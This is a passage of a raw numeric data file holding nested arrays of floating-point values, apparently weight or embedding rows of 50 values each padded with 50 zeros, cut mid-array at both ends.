0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.330224, -0.171047, -0.332325, -0.0879531, 0.0206893, -0.204081, 0.0552312, 0.202023, 0.448344, -0.0476517, -0.735585, 0.463633, 0.299779, -5.34479, -0.0109188, -0.464341, 0.0320323, -0.385201, -2.15799, -0.100833, 0.142575, 0.176793, -0.247542, 0.0747292, 0.00759119, -4.05767, 0.0578358, 0.11218, 0.391525, -0.388191, -0.28345, 0.0124278, 0.315274, 0.152315, -0.0375345, 0.694956, -0.234862, -0.0206815, -0.63522, 0.281254, -0.092467, 0.157184, 0.108799, -0.11518, -0.0483806, -0.0360868, -0.0632698, -0.0244167, 0.0378488, -0.354488, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.483002, 0.0547614, -0.401142, -0.019187, 0.0243429, -0.103104, -0.16354, 0.125867, 0.0776132, 0.0564588, -0.130193, 0.270798, -0.00350084, -0.188575, 0.00596703, 0.0609813, -0.284118, -0.0563387, 0.0772004, 0.0614341, -0.0412847, -0.280603, -0.127405, -0.22858, -0.112895, -0.727984, -0.0797374, 0.288714, 0.238684, -0.00152181, 0.0963728, -0.00819683, 0.0860446, -0.708086, 0.0434687, 0.109934, 0.0604711, 0.0624839, 0.186689, 0.269051, 0.0179186, 0.0127234, 0.0446045, 0.0154567, -0.0306281, -0.0923661, 0.147677, -0.0123387, -0.0629867, -0.135298, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.189156, -0.00940328, 0.00104081, 0.00789945, 0.00938118, -0.0805751, 0.0606168, -0.0578004, 0.0502353, -0.0252433, -0.026837, 0.208155, -0.00925463, -0.0291091, -0.0144801, 0.0685531, 0.0156895, -0.0731707, 0.0603765, -0.0668112, -0.0419184, -0.111646, -0.0548619, 0.0495389, -0.149221, -0.803419, 0.000349722, -0.478008, 0.0827245, 0.00963181, 0.0125163, -0.0323416, 0.0256358, 0.129281, 0.00436727, -0.0395687, -0.00850916, -0.188425, 0.322982, -0.0467835, -0.0535425, -0.023388, 0.0601697, 0.27724, -0.00936388, 0.0308146, 0.135622, -0.0555712, -0.0600249, -0.0542173, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.725034, -0.0760152, 0.0772889, -0.150408, -0.0415058, -0.029978, -0.291301, -2.47874, -2.00587, -0.10717, 0.0540274, -0.389394, 0.0846675, -0.013696, -0.0202193, 0.160306, 0.974486, -0.1108, -0.749603, 0.205891, -0.053815, -2.92071, -0.181161, -0.22493, 0.72804, -0.413056, -0.122885, -1.03468, -0.125748, -1.14019, -0.639723, 0.0468069, -0.0935055, 1.29931, -0.206835, 0.0534341, -0.647737, 0.18037, -1.9424, -0.240233, 0.145057, -0.0653033, -0.4006, 0.144699, 0.00531213, 0.0988013, 0.430377, 0.00460513, -0.278933, -0.200105, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.146033, -0.0243078, -0.0171889, -0.0131236, -0.0506462, -0.012063, -0.00205981, 0.263445, 0.360345, -0.278157, 0.000999118, 0.191858, -0.0500347, -0.225757, -0.0307017, -0.310189, 0.101704, -0.00916583, 0.0708116, -1.07202, -0.0617129, -3.48221, -0.0410254, -0.0126852, 0.0500342, -0.945598, -0.0494318, -0.354753, 0.0643682, -0.0179179, -0.0255459, -0.15252, 0.0700122, -0.165773, -0.0312667, 0.0813029, -0.0918792, -0.101427, -0.651449, -0.166885, -0.17236, -0.0373246, 0.00527582, 0.0636521, 0.0241485, -0.00587153, 0.116326, -0.165992, -0.0144422, -0.0285559, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.352325, -0.201933, -0.351518, -0.0351522, 0.00427476, -0.0425745, 0.201685, 0.140834, 0.449671, -0.444403, -0.218365, -0.0143333, -0.0944664, 0.0855121, 0.00773889, -0.457972, -0.0826703, -0.0776995, 0.133955, -0.044161, -0.0298026, 0.0902321, -0.119385, -0.0648686, 0.0546541, 0.395665, 0.0617418, -0.0650789, 0.145322, 0.131215, -0.136938, 0.0161208, 0.432701, 0.0896155, -0.0364021, -0.125224, -0.0332336, -0.157054, -0.0857561, 0.138178, -0.0969132, -0.0151935, -0.0797101, 0.0597032, 0.0411038, -0.103993, 0.23697, 0.203429, 0.351783, 0.0943379, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.297767, -0.0219133, -1.84892, -0.21937, -0.0355589, -1.05695, -0.14951, 0.123906, -4.47333, -0.431678, -1.91262, 1.14189, 0.777276, 0.549056, 0.0429997, -0.00358031, -0.500432, -5.43927, -1.46769, -0.203208, -0.123577, 0.251342, -0.482096, -0.781439, 0.261284, -2.10395, 0.00772377, -3.93282, 0.761477, 0.206548, -0.148155, -0.374828, 0.836788, 0.115345, -0.00553917, -0.343944, -0.148921, 0.362571, 0.0986472, -0.118615, 0.248152, 0.0324652, -0.200373, -0.180237, 0.0156969, 0.206146, 0.248809, 0.27983, -0.244145, -1.72867, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.103172, -0.0165211, 0.0136988, -0.355282, -0.0195436, 0.104239, -0.0310456, 0.315099, 0.0655018, -0.343425, -0.193465, -0.525037, 0.280289, -0.344665, -0.0200155, -0.0880113, 0.0151831, 0.0424396, -0.180228, -0.0371649, -0.099354, 0.192377, -0.260877, -0.0693522, -0.132517, -0.212147, -0.0541564, 0.68025, -0.19719, -0.184078, 0.0120689, -0.0892837, 0.364865, 0.282543, 0.00599403, -0.0635603, 0.0727455, 0.26694, 0.1796, -0.222319, 0.0198132, 0.0614304, -0.134149, 0.0165908, 0.0531316, -0.128831, -0.0507938, 0.00611869, -0.283304, -0.0328342, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.208048, 0.0257524, -0.0181418, -0.0113982, 0.0313895, -0.0405657, -0.0241754, 0.0590477, 0.0261829, 0.0625673, -0.121841, -0.607566, 0.161338, -1.46927, 0.015649, -0.0150279, 0.0722378, 0.0124562, 0.182513, 0.0857271, -0.0730497, 0.0910135, -0.0475139, 0.0658467, -0.0638669, -0.0631156, 0.0210076, -0.967696, -0.0387921, -0.039078, 0.0855559, 0.0199488, 0.070139, 0.0320149, 0.0635004, 0.0193179, -0.104203, 0.0738827, -0.49802, -0.315943, 0.0111179, -0.401398, -0.0155326, 0.10559, -0.0433854, -0.0604926, 0.157281, -0.128875, -0.00697855, -0.160909, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.561342, -0.328012, -0.330645, 0.0118173, 0.00838424, -0.292583, -0.216083, 0.0186049, -0.063395, 0.0478123, -0.0433044, -2.30956, -0.453397, -0.256148, -0.00640334, 0.283917, 0.146993, -0.841449, -0.995711, 0.020506, 0.122768, 0.0278236, -0.140762, -0.287383, 0.205576, -0.0886092, 0.143064, -0.220005, -0.957977, -0.539652, 0.383274, -0.0117018, -0.382267, -0.227125, -0.762013, 0.0634103, -3.25071, -1.18019, 0.0268686, 0.0278701, -3.33188, -0.313871, -0.0650035, -7.02204, 0.0467342, 0.0525617, -4.16392, -2.5801, 0.117848, -0.0419991, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.211206, -0.307525, -0.169197, -0.0813043, -0.0450793, -0.319417, 0.225363, -0.0297927, 0.10985, -0.053372, 0.114955, 0.344012, -0.206305, 0.422578, -0.0418067, -0.204306, 0.0150856, -0.0452776, -0.405379, -0.0952708, -0.0185633, -0.191344, -0.0710174, -0.0445208, 0.366064, 0.340713, 0.0639642, 0.522415, 0.299379, 0.184547, -0.0437161, -0.344366, 0.125595, -0.183232, 0.177265, 0.0274025, -0.0185299, 0.131192, 0.504297, 0.259313, 0.0116652, -0.0962895, -0.160418, -0.0243634, 0.0406952, -0.17202, 0.372258, -0.167082, 0.156391, -0.0819095, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.497699, -0.0445825, 0.053055, -0.101342, 0.0204862, -0.017057, -0.194264, -1.80548, 0.0703657, 0.0292311, 0.0346699, -0.254569, 0.0284396, 0.0142075, 0.0020124, 0.131731, 0.638432, -0.0653819, -0.464328, 0.235804, -0.0308184, 0.182118, -0.12056, -0.147733, 0.593754, -0.0194449, -0.0753608, -0.584423, -0.0505215, -0.841472, -0.417847, -0.0197657, -0.0479913, 0.571939, -0.137016, 0.0271518, -0.417391, 0.0760008, 0.00657908, -0.124369, 0.0867004, -0.0413213, -0.294847, 0.0839524, -0.0366761, 0.059526, 0.266256, 0.00102532, -0.170663, -0.130066, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.106606, 0.00908308, 0.00563548, -0.423792, -0.0314142, 0.0473323, 0.092841, 0.0897773, 0.306298, -0.0633445, -0.0183258, 0.207982, -0.0409822, -0.0738841, -0.00342701, 0.0499574, -0.0267237, 0.0291382, -0.0209509, 0.0236941, -0.0584317, 0.552635, -0.234112, -0.00448725, -0.0357822, 0.303517, -0.0571498, -0.059808, -0.181068, -0.0481453, -0.091958, 0.133118, -0.111319, 0.117325, 0.016489, 0.0944749, -0.0206761, 0.0987669, 0.0628062, 0.00406197, 0.0305608, -0.0349448, 0.0708753, 0.191589, -0.0435099, -0.22114, -0.0431919, 0.0336648, -0.0469127, -0.0985315, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-5.59187, 0.941711, -2.13295, 1.0833, 0.01406, -1.32631, 0.463197, -3.46296, -1.27264, -2.98413, -2.09538, 0.443937, 2.853, 2.43565, -0.0476876, 0.180047, 1.13115, -0.698777, 0.0836224, -0.768533, -1.39667, 2.84631, 3.18898, 1.34905, 0.301747, 0.647706, -4.19572, -0.0147681, 1.25874, -0.392027, -5.43935, 1.5905, -1.85119, -0.0580237, 0.925993, -0.703031, 0.868503, -16.4299, 0.084933, 0.682495, -0.740236, 0.918794, -2.34791, -0.590057, -0.03473, -1.05141, -0.914212, -0.249774, -0.398604, 2.68044, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.00798494, 0.031871, 0.00935397, 0.0226251, 0.0472551, 0.013237, -0.0396497, -0.0972624, 0.0851382, 0.120283, -0.0864665, 0.16384, 0.0140296, -0.0227592, -0.0433182, -0.140399, -0.00197326, 0.00234464, 0.142719, 0.0921559, -0.0644913, -0.00871192, -0.0309154, -0.0434873, -0.0225208, 0.148429, -0.042136, -0.101364, -0.0651196, -0.0782274, -0.0522469, -0.0137438, -0.033042, -0.275784, -0.0649453, 0.152184, 0.0550392, 0.0918574, 0.0498771, -0.0469389, 0.109041, -0.00148306, 0.0960347, 0.0682206, -0.0160214, -0.122127, -0.031201, -0.066682, 0.00271261, -0.00726589, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0199664, -0.0911643, -0.241146, 0.102716, 0.00594644, -0.337282, -0.239463, 1.27242, -2.16762, -0.0330067, -0.467454, 1.52886, -0.982691, -0.672405, -0.0104314, 0.792609, -0.0136754, -0.738492, 0.73188, 1.00622, -0.427888, -7.38835, -0.385114, -0.643721, -6.18835, -0.832302, 0.181345, 0.0575785, 0.694499, -1.54403, 0.309359, -1.96717, -0.473514, -1.06214, -0.567306, 0.451435, -0.0405586, 0.846988, 0.122371, 0.455496, 0.125396, -0.802911, -7.08583, 0.210017, 0.0364497, 0.140603, -0.130883, -0.129048, -0.105343, -0.178588, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.069312, -0.0710561, -0.014948, -0.00500204, 0.0017955, -0.114363, -0.0492737, 0.114202, 0.0806118, 0.0713252, -0.185543, 0.18504, -0.0624044, 0.115329, 0.0201005, 0.0183116, -0.0179894, -0.0792971, -0.151194, -0.00377869, -0.00215865, 0.0112214, -0.187898, -0.0626058, 0.137541, 0.649814, 0.0343446, 0.613146, 0.229137, 0.00815021, 0.219865, -0.0441452, 0.130963, 0.0935732, 0.0286864, -0.0784195, 0.0600401, 0.101809, 0.330116, -0.243297, -0.0349239, 0.0545852, 0.0277766, 0.0475809, 0.0062308, -0.0470814, 0.0633492, 0.00324512, 0.131217, -0.0110602, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.61351, -0.0562352, -0.0944293, -0.0652857, 0.0237317, -0.206239, -0.162382, 0.224415, 0.681827, 0.0366179, -0.534737, 0.506395, -0.407831, 0.206442, -0.0467658, 0.0297132, -0.0100876, -0.178733, -0.233825, 0.144158, 0.08464, -0.281186, -0.223886, -0.0696077, 0.033557, -0.615757, 0.0262629, -0.2805, 0.434374, 0.132727, 0.243452, -0.0975741, 0.0428262, -0.488176, 0.0702962, -0.102132, 0.265784, -0.0544608, -0.148792, 0.144827, -0.0860974, -0.0220572, -0.207355, 0.208154, 0.0231712, 0.123971, -0.108052, -1.02293, 0.33979, -0.0657804, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.00616718, 0.146208, -0.552685, 0.125387, 0.022893, -0.143674, -0.479208, 0.55073, 0.470185, -0.0128621, -0.0800141, -0.7686, -0.3905, -0.392094, -0.00318225, 0.11575, -0.193785, -0.15502, -0.440891, -4.16531, 0.0611109, 0.473071, -0.966542, -0.156661, -0.316608, -0.536728, 0.0211576, 0.172572, 0.463605, -0.852817, 0.0243519, 0.00110554, 0.312646, 0.405668, 0.0953723, 0.648247, -0.0296012, 0.219433, -0.262379, 0.757845, 0.135717, 0.0168588, -0.0281981, 0.15794, -0.0165123, -0.487694, 0.033327, -0.00700268, -0.00670363, -0.32962, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.302996, 0.0270485, 0.0691199, 0.0740011, -0.0390045, -0.136134, 0.2751, 0.373522, 0.284298, 0.126134, -0.118251, -0.0304455, -0.167519, 0.129883, -0.00824909, -0.224183, -0.298069, -0.0523667, -0.196969, 0.153824, -0.0135384, 0.39923, -0.218841, -0.0424732, -0.00726046, -6.0585, -0.0146133, -0.580735, -0.618265, -0.0724935, 0.0035047, -0.0390416, 0.0478926, -0.973982, -0.0810222, 0.0149482, 0.103738, 0.146785, -0.258664, 0.0705418, -0.189437, -0.214383, 0.0768797, 0.233538, -0.000985152, 0.0573714, 0.0515939, -0.0297328, 0.0871414, 0.0125278, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.172421, -0.607728, -0.36152, -0.0356137, -0.0403418, -0.292613, 0.0494495, 0.160284, -0.0560168, 0.0433262, 0.109004, 0.0295797, -0.0389297, 0.344807, 0.0345799, -0.300787, 0.138633, 0.0805474, -0.53666, -0.801639, -0.133704, -0.114711, -0.142643, 0.140561, 0.242671, 0.387685, 0.101065, 0.536496, 0.418783, 0.010112, -0.292772, -0.280044, 0.627919, -0.103422, 0.131854, 0.75359, 0.148604, 0.531439, -0.0913598, 0.359341, 0.0420639, -0.0683116, -0.126961, -0.0304599, 0.0431173, -0.23959, 0.383756, -0.56516, -0.0692533, -0.170711, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.435395, 0.121, 0.0219817, -4.34855, 0.0128665, -0.374867, 0.487227, -1.03457, 1.0384, -2.31967, -0.239044, 0.321147, 0.231518, -0.361088, -0.00608016, -3.21347, -0.473373, -0.0674474, -0.0949306, -0.919723, 0.0669084, 0.655478, -0.143013, -0.11792, -0.359857, 0.00111542, -2.25335, 0.8522, 0.0382339, 0.207045, -1.69048, -0.0377173, -0.115737, 0.768181, -0.981757, -2.79354, 0.496108, -0.297475, 1.093, -0.392376, 0.180841, 0.0293342, -2.63438, -0.148316, -0.0364362, 0.0697621, -0.56996, -0.192135, 0.194516, -0.841099, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0204199, 0.00667085, 0.034884, -0.0772358, -0.0203593, 0.00416752, -0.0118205, -0.445427, 0.199631, -0.0877944, 0.0231901, 0.0404677, -0.0615964, 0.173626, -0.0383796, -0.308868, 0.0911477, 0.0274686, 0.246478, -0.281224, -0.182561, -0.15557, 0.0321306, 0.0430001, 0.00289614, -0.572246, 0.0445262, -0.984411, 0.37685, 0.015856, 0.0291851, -0.0856256, -0.0555321, 0.855941, 0.0311409, 0.0888555, 0.107677, 0.502961, -0.354755, -0.0745128, 0.0371073, 0.0787753, 0.0445086, 0.00110099, 0.0439777, 0.0219584, 0.120144, -0.0834821, -0.121977, -0.00934578, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0348729, -0.0722016, -0.283159, -0.0274815, -0.0206853, -0.237601, -0.0653832, -0.537066, 0.152851, 0.124304, -0.436048, 0.659576, -1.96518, -0.87675, -0.0191055, 0.0817832, -1.65451, -0.0680664, 0.0623061, 0.127342, 0.0804188, -0.972547, -0.0789095, 0.108283, 0.0511933, 0.208062, 0.0138404, 0.128058, 0.171376, 0.139931, 0.0544246, 0.110423, -0.284145, 0.171481, -0.802646, 0.153571, 0.188554, -0.0404629, 0.256111, 0.291988, 0.024911, -0.0992777, -1.36028, -0.222835, 0.0356204, -0.145701, 0.525727, -0.0251024, 0.0126259, 0.0192839, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.319617, 0.0551871, -0.0130677, 0.0450627, 0.0209997, 0.0210703, -0.0694345, -0.0574926, 0.180925, -0.00487107, -0.0105852, -0.0310631, -0.104999, 0.0146883, 0.0467717, 0.122962, -0.0125724, 0.024437, -0.00739277, 0.0155965, -0.087604, 0.0524274, -0.18157, -0.172987, 0.103397, 0.651814, -0.0644838, -0.373225, -0.0911743, -0.147083, -0.0478375, -0.0470564, 0.119454, 0.315786, -0.0781015, 0.0664838, -0.0788489, 0.284213, 0.143628, 0.222658, 0.144076, -0.0237728, 0.135367, 0.0878047, -0.014486, -0.0558887, -0.187498, -0.153504, -0.218497, -0.0981788, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.129707, -0.169907, -0.0839351, 0.0593334, 0.00507672, 0.0263793, -0.0579113, -0.093111, 0.0589388, 0.0166034, -0.0429789, -0.294649, -0.0389615, -0.423019, -0.00837533, -0.253497, -0.0050427, -0.00267547, -0.0743901, -0.0805879, -0.0335043, 0.554919, 0.0191941, 0.0865508, 0.263717, -0.596826, -0.123135, 0.849683, -0.77755, -0.0158478, -0.0790143, 0.0731703, 0.35617, 0.406684, 0.00143527, -0.375105, -0.243078, 0.669038, 0.0482427, -0.179818, 0.142316, 0.0360116, -0.0247677, -0.0525702, 0.00542708, -0.331575, -0.274195, -0.265573, 0.0135239, 0.0817955, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0132894, -0.0553216, -0.0148128, 0.00869875, -0.0432232, -0.060631, -0.00791737, 0.0271312, 0.00283403, -0.0420854, 